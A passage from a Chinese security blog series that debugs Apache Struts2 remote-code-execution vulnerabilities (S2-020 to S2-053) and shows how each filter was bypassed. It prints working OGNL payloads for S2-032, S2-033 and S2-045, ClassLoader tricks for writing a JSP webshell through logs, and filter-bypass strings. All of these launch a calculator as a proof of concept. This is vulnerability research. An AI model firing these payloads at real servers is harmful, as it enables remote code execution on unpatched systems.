在这个 ClassLoader 中,存放了很多在容器运行时,上下文中的所需要的一些值,如果这些值被修改了,可能会影响到应用程序的运行方式。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

能被我们修改的属性需要有以下几个条件:

  • 有 set 方法,或者是可以使用 set 方法改变的值;
  • 修饰符应该是 public;
  • 属性的返回值应该是通过用户的输入可以被 OGNL 解析成为相应的对象;
  • 修改后能够对应用程序造成影响,导致安全风险。

例如访问:http://localhost:8080/test.action?class.classLoader.resources.dirContext.docBase=/Users/phoebe/Downloads

此时 Tomcat 的文档路径将会改为我们传入的指定路径,可以访问其中的内容:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在互联网上 yiran4827 师傅发出了他编写的脚本,用来找到 Tomcat 中可能存在风险的相关属性:

<%!public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){
    try {
        Class<?> c = instance.getClass();
        set.add(instance);
        Method[] allMethods = c.getMethods();
        for (Method m : allMethods) {
        if (!m.getName().startsWith("set")) {
            continue;
        }
        if (!m.toGenericString().startsWith("public")) {
            continue;
        }
        Class<?>[] pType  = m.getParameterTypes();
        if(pType.length!=1) continue;

        if(pType[0].getName().equals("java.lang.String")||
        pType[0].getName().equals("boolean")||
        pType[0].getName().equals("int")){
            String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
            out.print(poc+"."+fieldName + "<br>");
        }
        }
        for (Method m : allMethods) {
        if (!m.getName().startsWith("get")) {
            continue;
        }
        if (!m.toGenericString().startsWith("public")) {
            continue;
        }        
        Class<?>[] pType  = m.getParameterTypes();
        if(pType.length!=0) continue;
        if(m.getReturnType() == Void.TYPE) continue;
        Object o = m.invoke(instance);
        if(o!=null)
        {
            if(set.contains(o)) continue;
            processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));    
        } 
        }
    } catch (java.io.IOException x) {
        x.printStackTrace();
    } catch (java.lang.IllegalAccessException x) {
        x.printStackTrace();
    } catch (java.lang.reflect.InvocationTargetException x) {
        x.printStackTrace();
    }     
}%>

由于根据环境不同,class.classLoader 对应的结果是不同的,因此这个漏洞的利用不是特别的具有通用性,在此篇文章中,也只针对 Tomcat 进行研究和测试。

利用这个方式,目前在互联网上出现了一些 Tomcat 或其他中间件的 RCE 的利用方式:

  1. Tomcat 应用目录更改为恶意 UNC 路径:class.classLoader.resources.dirContext.docBase=\\192.168.1.1\shell.jsp
  2. 修改日志记录文件位置、文件名、文件后缀,通过访问时带入恶意 jsp 代码,将日志文件后缀修改为 jsp,这样访问时程序会以 jsp 代码进行解析,执行恶意文件。class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.classLoader.resources.context.parent.pipeline.first.prefix=shell class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1 <%Runtime.getRuntime().exec("calc");%>

S2-020 的修复在 excludeParams 的正则中添加了 ^class\..*,这种形式,可以轻易使用如下方式绕过:

class['classLoader'].resources.dirContext.docBase=
top.class.classLoader.resources.dirContext.docBase=
Class.classLoader.resources.dirContext.docBase=

于是 S2-021 的修复又添加了对 classloader 字符的拦截。

而 S2-022 与之前是相同的漏洞,只不过由触发点由 ParametersInterceptor 变为了 CookieInterceptor。不再赘述。

S2-026

Struts2 官方继续维护它的正则。

影响版本:Struts 2.0.0 – Struts Struts 2.3.24 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-026 描述:对 top 在参数访问时进行限制。

在 S2-009 的分析中,我们使用了 top['foo'](0) 的形式用来对 foo 进行二次 OGNL 解析,这实际上是使用了 top 可以访问 root 中的第一个对象的特性,在 S2-026 的通告中,官方禁止了通过参数名使用 top 访问上下文中的内容。

这就解决了我们在 S2-020 分析中提到的问题。同时官方提供了一个新正则,用来在其他版本中缓解这个漏洞情况:

"(^|\\%\\{)((#?)(top(\\.|\\['|\\[\")|\\[\\d\\]\\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\\.|\\[).*",
"^(action|method):.*"

S2-032

本漏洞可以理解为 S2-016 漏洞的延续,对于特殊的访问前缀,除了 redirect\redirectAction 外,这次我们将注意力放到了 method 上。

影响版本:Struts 2.3.20 – Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3) 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-032 描述:在 DMI 开启时,使用 method 前缀可以导致任意代码执行漏洞。

针对此漏洞,我们使用 2.3.24 版本进行调试,依旧是在 DefaultActionMapper 中,将 4 个前缀对应的处理方法初始化在了 prefixTrie 中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在收到请求时,由 StrutsPrepareAndExecuteFilter#doFilter 方法处理并执行到 action,这部分由 ActionInvocation 的实现类 DefaultActionInvocation 进行实现调度,在这之间会调用Dispatcher 的 serviceAction() 方法创建 ActionProxy 代理对象,并将相关的信息存储在这个代理对象中。

需要注意的是,会对 methodName 进行处理,包括 StringEscapeUtils.escapeHtml4() 以及 StringEscapeUtils.escapeEcmaScript() 方法,对一些特殊字符进行转义。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 DefaultActionInvocation#invokeAction 方法中,会将 proxy 中的方法名拿出来,在后面拼接 () 并调用 OgnlUtil.getValue() 方法以 action 对象为 root 进行解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这就是最终的漏洞触发点,这部分流程其实我们比较好理解,但是关键点在于如何构造 payload 绕过当前的一些限制。

首先,在使用 method 前缀时,会判断 DMI(动态方法调用)是否开启,这部分在 S2-019 的修复中将其配置在了配置文件中的 struts.enable.DynamicMethodInvocation ,并默认为 false,这部分没有办法进行绕过,因此 S2-032 的漏洞利用条件需要开启 DMI。

其次,在调用方法时会有相关的判断,系统内置了对调用类包名的正则、对类名的黑名单的校验,如下图:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

我们需要绕过这些 payload,可以将 excludedClasses 以及 excludedPackageNamePatterns 这两个 SET 设置为空,因此最终的 payload 为:

method:#[email protected]@EMPTY_SET,#[email protected]@EMPTY_SET,new java.lang.ProcessBuilder(new java.lang.String[]{message,message2,message3}).start&message=open&message2=-a&message3=Calculator.app

需要注意的是,由于对 method 的名称,由于会经过处理,将单、双引号转义处理,处理后 OGNL 将无法正常解析,因此如上 payload 其实是使用 ProcessBuilder,需要使用三个 action 自带的参数来写入 String 类型的参数。

这里还是使用了 new ProcessBuilder() 的方式,如果想使用 Runtime 或其他静态方法调用,依旧是要将 allowStaticMethodAccess 修改为 true,在 S2-016 中,因为 set 方法被删除,我们通过反射来修改 allowStaticMethodAccess 的值,但是在 2.3.20 版本以后,SecurityMemberAccess 引入了一个新的判断方法 isClassExcluded(),用来对之前提到的类的黑名单进行校验:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在这个方法中直接判断了执行的方法的类不能是 Object.class,因此,我们就不能通过 getClass() 方法获得一个类的 class 对象。

获取一个类的 Class 对象有三种方式:

  • a.getClass():实际上是 Object 对象的 native 方法 getClass()
  • a.class:这种写法在 OGNL 中解析,还是会调用 getClass 方法;
  • Class.forName('a'):这种方法本身就是静态方法调用。

三种获取 class 对象的方法都不能用,因此我们无法通过 set 方法和反射来修改 SecurityMemberAccess 中 allowStaticMethodAccess 的值,那该如何执行静态方法呢?

在 ognl.OgnlContext 中,有一个 public static 的 MemberAccess 对象,实际上是 DefaultMemberAccess 对象。我们直接将 _memberAccess 对象引用至此对象,就绕过了 SecurityMemberAccess 对象里 isAccessible() 方法冗长的判断,直接执行静态代码了。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这就是网上流传的 S2-032 的 payload 所使用的方式,所以最终 payload 为:

method:#[email protected]@DEFAULT_MEMBER_ACCESS,@[email protected]().exec(param).toString&param=open -a Calculator.app

这里有两个点需要注意的是:

  • 由于程序会在 methodName 后拼接 “()”,再进行表达式的解析,所以需要想办法结合这个括号,我们使用的方法是用 toString 来闭合;
  • 由于转义了部分符号,所以在 payload 中不能使用单双引号,可以结合请求参数中的值进行获取。

在 OGNL 表达式中,还有一种方式那就是 @[email protected] 的方式,这种方式不同于 getClass() 的方法调用方式,将由 ClassResolver 的实现类获取类的 Class 对象,具体实现是 Class.forName('a') 或者是使用当前线程的 ClassLoader 去 loadClass。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这种使用方式将在 S2-045 中进行使用,此处不进行扩展。

S2-033

与 S2-032 漏洞逻辑相同,由于动态方法调用时对 methodName 没有进行处理,导致了漏洞。

影响版本:Struts 2.3.20 – Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3) 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-033 描述:在使用 REST 插件,并启用动态方法调用时,可导致 RCE。

使用 REST 插件,会使用 RESTFUL 风格处理 URL 请求,将 URL 请求按照不同的形式进行映射。

这里使用官方的 struts2-rest-showcase 进行调试,使用的依赖包为 struts2-rest-plugin-2.3.24.1.jar ,在这个包中配置了一个 struts-plugin.xml,将会由 Struts2 进行加载。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在这个配置中,我们看到一些中间处理类和常量被替换了,其中我们比较关注的是:ActionMapper -> RestActionMapper。

在 S2-032 中,ActionMapper 实现类 DefaultActionMapper 中没有对动态方法执行中的方法名称进行过滤和处理, 在 DefaultActionInvocation#invokeAction 方法中对其进行了解析,导致了 RCE 的出现。

在 RestActionMapper 中,与 DefaultActionMapper 处理方法类似,去后缀,解析 url,处理特殊的请求参数,这代码基本是粘过来的。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

但是有一个区别是,DefaultActionMapper 用来处理 action 请求,系统配置的默认扩展名是 action,RestActionMapper 用来处理 REST 请求,系统配置的 action 扩展名是 xhtml、xml、json,默认扩展是 xhtml。也就是说,在使用了 REST 插件后,访问以上扩展名的连接,会以 action 来进行解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

RestActionMapper 同样提供了动态方法调用的功能,可以使用 “!” 调用其他的方法,在handleDynamicMethodInvocation 方法中处理并存入 ActionMapping 中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

虽然在 DefaultActionMapper 中也提供此项功能,但是其中使用了 allowedActionNames 正则,在解析 url 时使用的方法 parseNameAndNamespace() 对 actionName 进行了过滤和清除,正则为:[a-zA-Z0-9._!/\-]*

但是在 RestActionMapper 中不会对 action 名进行过滤和处理,因此导致了 RCE 漏洞。

在后续的处理中,虽然是使用 Rest 插件提供的一些子类,例如 DefaultActionProxyFactory 的子类 RestActionProxyFactory,DefaultActionInvocation 的子类 RestActionInvocation,但最终的调用是一致的,在处理 action 时依旧由父类方法 DefaultActionInvocation#invokeAction 进行处理,触发漏洞。

由于漏洞位置的特殊性,部分特殊字符依旧不能使用,因此还是需要参数进行配合,因此 payload 为:

!#[email protected]@DEFAULT_MEMBER_ACCESS,@[email protected]().exec(#parameters.param[0]).toString.json?param=open -a Calculator.app

成功弹出计算器:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

S2-037

REST 形式访问时,对解析的 methodName 没有过滤导致了漏洞。

影响版本:Struts 2.3.20 – Struts Struts 2.3.28.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-037 描述:在使用 REST 插件时,可导致 RCE。

这个漏洞的官方描述没有提到是否需要开启 DMI,那就是与 S2-033 不同的漏洞触发点。

在 RestActionMapper#getMapping 提供了一个功能,代码如下:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这段代码实际上实现了一个功能:对于 actionName/id/methodName 形式的访问参数,会分别截取进行赋值,其中的第二个 “/” 后面的内容就会作为 methodName 进行处理,并放入 ActionMapping 中。

这就是 S2-037 的漏洞点,后续调用逻辑与 S2-033 相同,payload 也相同,不重复粘贴了。

前言

本系列第三篇文章,记录 s2-045/s2-046/S2-048/s2-052/s2-053/s2-055 的调试过程。

S2-045

Multipart 处理 Content-Type 出现异常时,将会对异常信息进行 OGNL 解析导致安全漏洞。

影响版本:Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-045 描述:基于 Jakarta Multipart 解析器执行文件上传时可能导致 RCE。

为了实现上传文件一类的功能,我们通常使用 POST 方法,MIME 类型设置为 multipart/form-data 的数据包,这种情况下,服务器端需要对此类请求进行解析。但是 Struts2 没有提供自己的请求解析器,它不会处理相关的请求,它会调用其他的上传框架来进行解析完成这个功能。

这里使用了 2.5.10 版本进行演示,在 default.properties 文件中,配置了 MIME 类型为 multipart/form-data 的解析器为 jakarta。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

通过注释我们可以看到这个解析器还可以配置为 cos/pell/jakarta-stream 等。

在一次 multipart 请求到 Struts2 时,会在经过 FileUploadInterceptor 拦截器时被处理,我们从头来看一下处理流程:

  1. Struts2 使用 StrutsPrepareFilter#doFilter 预处理和封装请求,会调用 org.apache.struts2.dispatcher.Dispatcher#wrapRequest 方法处理,如果 Content-Type 包含 multipart/form-data 字样,将创建 MultiPartRequestWrapper 对象用来封装 request 对象,这里请注意,判断 Content-Type 使用的是字符串的 contains 方法。
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

2.Struts2 在 Dispatcher.multipartHandlerName 中注入了配置文件中配置的 struts.multipart.parser,并使用 getMultiPartRequest 方法创建 MultiPartRequest 实例,在默认配置下,是 JakartaMultiPartRequest 对象。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

3.创建 MultiPartRequestWrapper 方法时,会调用 MultiPartRequest 实例的 parse() 方法,解析后将 MultiPartRequest 中产生的 errors 取出并放入 wrapper 中的 errors 中,或者在处理过程中抛出的异常,也会放在 errors 中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

4.MultiPartRequest 的 parse() 方法,会调用 this.setLocale() 和 this.processUpload() 方法处理上传请求,在处理过程中产生的异常捕获后会经过 buildErrorMessage() 处理后添加到 this.errors 中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

5.预处理结束后,将会调用拦截器栈依次处理请求,当经过 FileUploadInterceptor 时,会对 multipart 请求进行相关处理:判断当前请求 request 对象是否为 MultiPartRequestWrapper 实例,如果不是将会 return,也就是说判断当前请求是不是一次 multipart 请求。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

6.将 request 强转为 MultiPartRequestWrapper 对象,使用 hasErrors() 判断这个 request 对象中是否含有报错信息,如果有的话,将使用 LocalizedTextUtil.findText() 对错误信息进行国际化处理,并添加到 action 对象中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

7.处理这次文件上传的内容,从下面代码可以看出,对于 Struts2 来说,如果一个文件域名为 xxx,那么对应的 action 需要使用三个属性来封装文件域的信息。

  • 类型为 File 的 xxx 属性封装了该文件域对应的文件内容;
  • 类型为 String 的 xxxFileName 属性封装了该文件域对应的文件的文件名;
  • 类型为 String 的 xxxContentType 属性封装了该文件域对应的文件的文件类型。
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结
  • 8.这些属性处理完将会以 File 对象存放在 ActionContext 中的 parameters 中。

而这个漏洞产生的点就在于第 4 步至第 6 步,在第 4 步中,处理一个上传请求中可能出现一些异常及错误信息,这些信息的 message 在经过拼接处理后处理成 LocalizedMessage 对象,并存放在 AbstractMultiPartRequest 对象的 errors 中,此时它是一个 List 对象,在 MultiPartRequestWrapper 处理时将其取出存放在自己的 errors 中,此时它是一个 Collection 对象。

在第 6 步中,拦截器使用了 LocalizedTextUtil#findText() 方法,使用全局 valueStack,继续调用 getDefaultMessage() 方法,最后调用 TextParseUtil.translateVariables() 我们的老朋友触发漏洞。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

描述到这里基本就明白了这个漏洞的产生过程了,我们需要让程序在解析 multipart 上传包时出错,并且在错误信息中(e.getMessage)包含我们可控的部分,这部分内容将会在解析时存储在 errors 中,直到 FileUploadInterceptor 拦截器处理它,调用 TextParseUtil.translateVariables() 以 OGNL 解析这其中的内容。

如何产生错误呢?又如何能让错误信息可控呢?在 JakartaMultiPartRequest#parse() 方法调用的 processUpload() 方法中,会调用 parseRequest() 方法,继续调用 FileUploadBase#parseRequest() 方法,通过 getItemIterator() 创建一个内部类 FileItemIteratorImpl 的对象,这个对象会通过 multipart 请求中的 boundary 来解析一次请求中的相关内容,并创建相关属性。

在 FileItemIteratorImpl 对象的构造方法中,首先对 contentType 进行了判断,要求 contentType 字符以 “multipart/” 开头:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

如果不是将会抛出 InvalidContentTypeException 异常,并将用户的 contentType 拼接了进去:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个判断就给了我们触发异常的点,在 Dispatcher#wrapRequest 方法中,当 contentType 包含 “multipart/form-data” 字符时,就会认为其是 multipart 请求,但是在实际解析 multipart 请求中的文件对象时,却再次进行判断,要求以 “multipart/” 开头,如果不是将抛出异常。

例如,我们构造如下请求,在一次普通的 GET 请求中加入 Content-Type: aaamultipart/form-data

GET /S2-045/index.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: aaamultipart/form-data
Connection: close

在 Struts2 的预处理过程中将会将其处理成 MultiPartRequestWrapper,但是在 FileUploadInterceptor 拦截器进行相关 File 对象的解析时将会因为 Content-Type 的不正确抛出异常:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

因此,这次请求将会导致访问不到存在的 index.action,而是由于找不到具有文件上传相应属性的 action 而报出 404 错误。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这就是 S2-045 的漏洞利用点,在 Content-Type 植入恶意 OGNL 代码即可导致 RCE 漏洞,因此 payload 为:

Content-Type: -multipart/form-data-%{#[email protected]@DEFAULT_MEMBER_ACCESS,@[email protected]().exec('open -a Calculator.app')}

这个 payload 的构造很简单,只需要在 Content-Type 中包含字符串 “multipart/form-data”,但不以 “multipart/” 开头,在其他位置写 ognl 表达式即可,当然是使用 % 或者 $ 都可以。

但是这里有几个需要注意的点。

第一,在 2.3.29 版本之后,在 OgnlContext 的 get()/put() 方法中移除了对 _memberAccess 关键字符串的支持,也就是说我们将再也不能使用 #_memberAccess 来访问 ValueStack 中的 SecurityMemberAccess 对象了。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

于此同时,又在 excludedClasses 中添加 ognl.MemberAccess 和 ognl.DefaultMemberAccess 类,禁止我们调用这两个类中的方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

此举旨在防御攻击者篡改 ValueStack 中 SecurityMemberAccess 的参数属性。这样有没有绕过的方式呢?依然是有的,我们看到网上的 S2-045 payload 其实就进行了绕过。

我们再来看一下请求流程,在一次请求到达 Struts2 后:

  1. 由 StrutsPrepareFilter#doFilter 方法处理,使用 this.prepare.createActionContext(request, response) 创建了本次请求的 ActionContext 对象。
  2. 从 dispatcher 中获取 Container 使用 getInstance 获取 ValueStackFactory,并使用 createValueStack 创建 OgnlValueStack 对象,使用 container 进行对象的注入,并将 container 放入 context 中。
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

3.创建 OgnlValueStack 对象时,使用其构造方法,将会调用 setRoot 方法初始化它的各种属性,如 root、securityMemberAccess、context 等,在初始化 context 对象时,将调用 Ognl.createDefaultContext() 方法,然后将 OgnlValueStack 中的一些对象放在 context 中,这其中就包括了 securityMemberAccess。调用 OgnlContext#setMemberAccess 将 OgnlValueStack.securityMemberAccess 设置到 OgnlContext._memberAccess 中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

4.注入时调用 OgnlValueStack#setOgnlUtil 方法,将 ognlUtil 中的 excludedClasses、excludedPackageNamePatterns、excludedPackageNames 设置给了 ValueStack 中的 securityMemberAccess 属性,这里我们可以看到,直接使用了 “=” 赋值,是引用对象的方式。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在明白了上述逻辑之后,绕过的方式就变得清晰了,我们想改 OgnlValueStack.securityMemberAccess,可以改 OgnlContext._memberAccess,想改 securityMemberAccess 里面的 excludedClasses 等属性,可以改 OgnlUtil 里面的 excludedClasses 等属性。

这种思路总结出来就是:想改一个类中的属性,但是这个类中没有对应的方法,或者权限不满足条件,就可以 试图修改有同一个引用对象,但是有相关方法和权限的的类。

妙啊妙啊,又学一招。

第二,OgnlUtil 添加了一个新属性 enableEvalExpression 和新方法 checkEnableEvalExpression,在调用 setValue() 时不允许一些调用方式。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

到底什么形式是 EvalExpression 呢?

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

说白了,在解析表达式的过程中我们的节点不能是 ASTSequence 或 ASTEval。ASTEval 的表现形式是 (one)(two),ASTSequence 的表现形式是 one,two。在构造恶意 ognl 表达式时,我们应该避开这两种形式。

所以 payload 的形式需要改为 (one).(two) 形式,这种形式是 ASTChain,理论上是永远不会被禁的,因为 Struts2 内部自己有很多这种形式的解析调用。

第三,在 2.5 版本之后,在 SecurityMemberAccess#isClassExcluded 方法添加新的判断,通过这个判断,在调用方法时将要求 allowStaticMethodAccess 必须为 true 才能调用,也就是说,我们不再能使用 new ProcessBuilder() 这种构造方法的调用来绕过 allowStaticMethodAccess 为 false 时的判断了。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

综上所述,在一些较高的版本中,除了满足触发点的需求外,还需要针对上述三个问题来构造能够绕过的 payload,思路总结起来是这样的:

  1. 通过 context 对象的 setMemberAccess 方法将 OgnlValueStack 中的 SecurityMemberAccess 设置为 @[email protected]_MEMBER_ACCESS
  2. 但是调用 context 对象的 setMemberAccess 方法时,会被 SecurityMemberAccess 中 this.excludedPackageNames 中的 ognl 前缀和 this.excludedClasses 中的 ognl.OgnlContext 黑名单给拦掉,所以我们需要先将这两个属性清空。
  3. 想要清空 SecurityMemberAccess 中的这些属性,只需要清空 OgnlUtil 中的这些属性即可,Struts2 通过 Container 来控制管理和注入这些 Bean,而 Container 在初始化 OgnlValueStack 和 OgnlContext 中被存在 context 中,可以通过 com.opensymphony.xwork2.ActionContext.container 获得。
  4. 获得 Container 对象后,使用 getInstance() 方法传入对应类的 class 类型以获取单例对象,并修改其中对应的值。

因此最终的 payload 为:

Content-Type: -multipart/form-data-%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]LT_MEMBER_ACCESS)).(@[email protected]().exec('open -a Calculator.app'))}

这里需要注意的是,在清空 OgnlUtil 中的属性之后,由于 Struts2 使用单例模式,再次创建 context 和 ValueStack 时,引用的 OgnlUtil 中的 excludedClasses 等属性依旧为空,因此将无需再次清除。

最后再补充一点,之前我们清空 set 使用的都是赋值的方式 @[email protected]_SET,在这个 payload 中我们使用的 clear() 方法,是因为 ognlUtil 里属性的 set 方法并不是接收 Set 对象直接赋值,而是接收字符串,Class.forName 之后使用 add 放入 set 里,所以我们需要变换一下形式。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

通过以上的分析,不得不说, S2-045 真的是神洞。

S2-046

与 S2-045 相同的漏洞点,触发位置不同。

影响版本:Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-046 描述:基于 Jakarta Multipart 解析器执行文件上传时可能导致 RCE。

S2-046 与 S2-045 漏洞点相同,都是由于 Multipart 处理上传请求时出现错误信息,带着用户输入进行了解析导致漏洞。所以我们重点关注,如何还能触发异常报错信息,用户输入又是如何带入到错误信息中的。

在 S2-046 中,报出了两种触发方式,第一种方式是由于 filename 异常引起的。JakartaMultiPartRequest 调用 processUpload 处理上传请求,在 processFileField() 方法处理上传文件的字段。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

其中会调用 FileItem 的 getName 方法来获取文件名,实际上是实现类 DiskFileItem 的 getName 方法,调用 Streams.checkFileName() 方法。

在 Streams.checkFileName() 方法中对文件名进行校验,判断规则中 filename 中不能存在 \u0000,否则将会抛出异常,异常信息中放入了 filename。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这就是漏洞触发点。只需要在 filename 字段中写入恶意 OGNL 表达式,并在不影响 payload 的位置插入”\u0000″ 即可,payload 相同,不再重复。

除此之外还有一种情况,在 struts.multipart.parser 设置为 jakarta-stream 时,处理 multipart 请求的将会由 AbstractMultiPartRequest 的另一个实现类 JakartaStreamMultiPartRequest 来完成。

这个类同样是调用 processUpload() 进行处理,首先使用 isRequestSizePermitted() 方法判断当前请求大小是否在允许范围内,如果不是,将会调用 addFileSkippedError() 方法,终止接下来的流程。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

isRequestSizePermitted() 方法从 request 方法中获得 Content-Length 的值,并和 this.maxSize 进行对比,如果 Content-Length 过大,将会返回 false。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

this.maxSize 是在配置文件中默认配置的值,大小为 2097152,也就是 2G。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

而 addFileSkippedError() 方法将 filename 放入了 FileSizeLimitExceededException 异常信息中,并存入了 this.errors 中,将会触发漏洞逻辑。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

因此此漏洞的触发只要将 Content-Length 设置超出最大值,并在 filename 处写入恶意表达式即可,payload 相同,不再重复。

S2-048

实际上应该是有人发现 LocalizedTextUtil.findText() 可以触发漏洞后扫了一遍包,又找到了这个利用点。

影响版本:Struts 2.3.x with Struts 1 plugin and Struts 1 action 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-048 描述:Apache Struts 2.3.x 系列版本中 struts2-struts1-plugin 存在远程代码执行漏洞。

Struts 2.3.x 版本中,提供了一个 jar 包插件 struts2-struts1-plugin,用来使 struts2 可以兼容 struts1 的 Action。

org.apache.struts2.s1.Struts1Action 类为一个 Wrapper 类,用于将 Struts1 时代的 Action 包装成为 Struts2 中的 Action,以让它们在 struts2 框架中继续工作。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 Struts1Action 的 execute 方法中,会调用对应的 Struts1 Action 的 execute 方法。在调用完后,会检查 request 中是否设置了 ActionMessage,如果是,则将会对 action messages 进行处理并回显给客户端。处理时使用了 getText 方法,这里就是漏洞的触发点。

所以漏洞的触发条件是:在 struts1 action 中,将来自客户端的参数值设置到了 action message 中。

在官方提供的 Showcase 中,就存在漏洞,在 xml 中为 org.apache.struts2.showcase.integration.SaveGangsterAction 设置了 class 为 org.apache.struts2.s1.Struts1Action

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

SaveGangsterAction 将 form 表单中的 name 放在了 ActionMessage 中并使用 addMessages 方法放在了 request 里。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

Action messages 会通过 getText 方法进入 LocalizedTextUtil.findText() 方法,最终调用 getDefaultMessage(),调用 TextParseUtil.translateVariables(),后面的漏洞触发逻辑与 S2-045、S2-046 相同。payload 也相同,不再重复。

S2-052

Xstream 反序列化,没什么好说的。

影响版本:Struts 2.1.6 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-052 描述:Struts2 REST 插件的 XStream 组件存在反序列化漏洞,可导致 RCE。

Struts2 REST 插件在 struts-plugin.xml 中注册了一个 Interceptor:"org.apache.struts2.rest.ContentTypeInterceptor,这个拦截器见名知义,用来处理不同的 Content-Type 请求到达时的后续处理流程。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

拦截器调用 ContentTypeHandlerManager 的 getHandlerForRequest 方法,根据不同的 Content-Type 返回不同的 ContentTypeHandler 实现类,这里通过逻辑可以看到,如果 Content-Type 为空或者没有找到响应的文档类型,将使用访问文件后缀来区分本次访问的文档类型。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

ContentTypeHandler 根据不同的文档类型有多个实现类,这里我们重点关注的是其中的 XStreamHandler。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 ContentTypeInterceptor 的 getHandlerForRequest 方法获取了对应的 ContentTypeHandler 之后,将会判断 request.getContentLength 是否大于 0 ,如果是将会调用 handler.toObject(reader, target) 去处理 request.getInputStream() 中的内容。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

可以看到 XStreamHandler 的 toObject 方法使用 new XStream(); 创建了 XStream 对象,并调用 fromXML() 对 request.getInputStream() 进行解析,中间没有进行任何的过滤手段。

其中 Content-Type 与 文件后缀对应 handler 的关系如下两图。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

我们这里使用 struts2-rest-plugin-2.5.12 版本进行测试,依赖的 XStream 版本为 1.4.8 。根据上述描述,我们只需要使用 Content-Type 为 xml 格式发送 payload,或者输入一个不存在的 Content-Type ,访问扩展名为 xml 即可。payload 使用 XStream 反序列化的任意 payload 均可,我这里使用的是 CVE_2017_7957 的 payload。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

当然之前说的 xml 后缀也可。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

S2-053

在服务端将用户可控的参数放到了 Freemarker 的标签属性中的时候,就会造成RCE。

影响版本:Struts 2.0.0 – 2.3.33,Struts 2.5 – Struts 2.5.10.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-053 描述:Struts2 在使用 Freemarker 模板引擎时,可能由于二次解析导致 RCE。

我们先来创建一个漏洞环境,在 struts.xml 为 Action 的 result 设置为 freemarker,指定一个模板文件。

<struts>
    <package name="default" namespace="/" extends="struts-default">
        <action name="hello" class="com.su18.struts.action.HelloWorld">
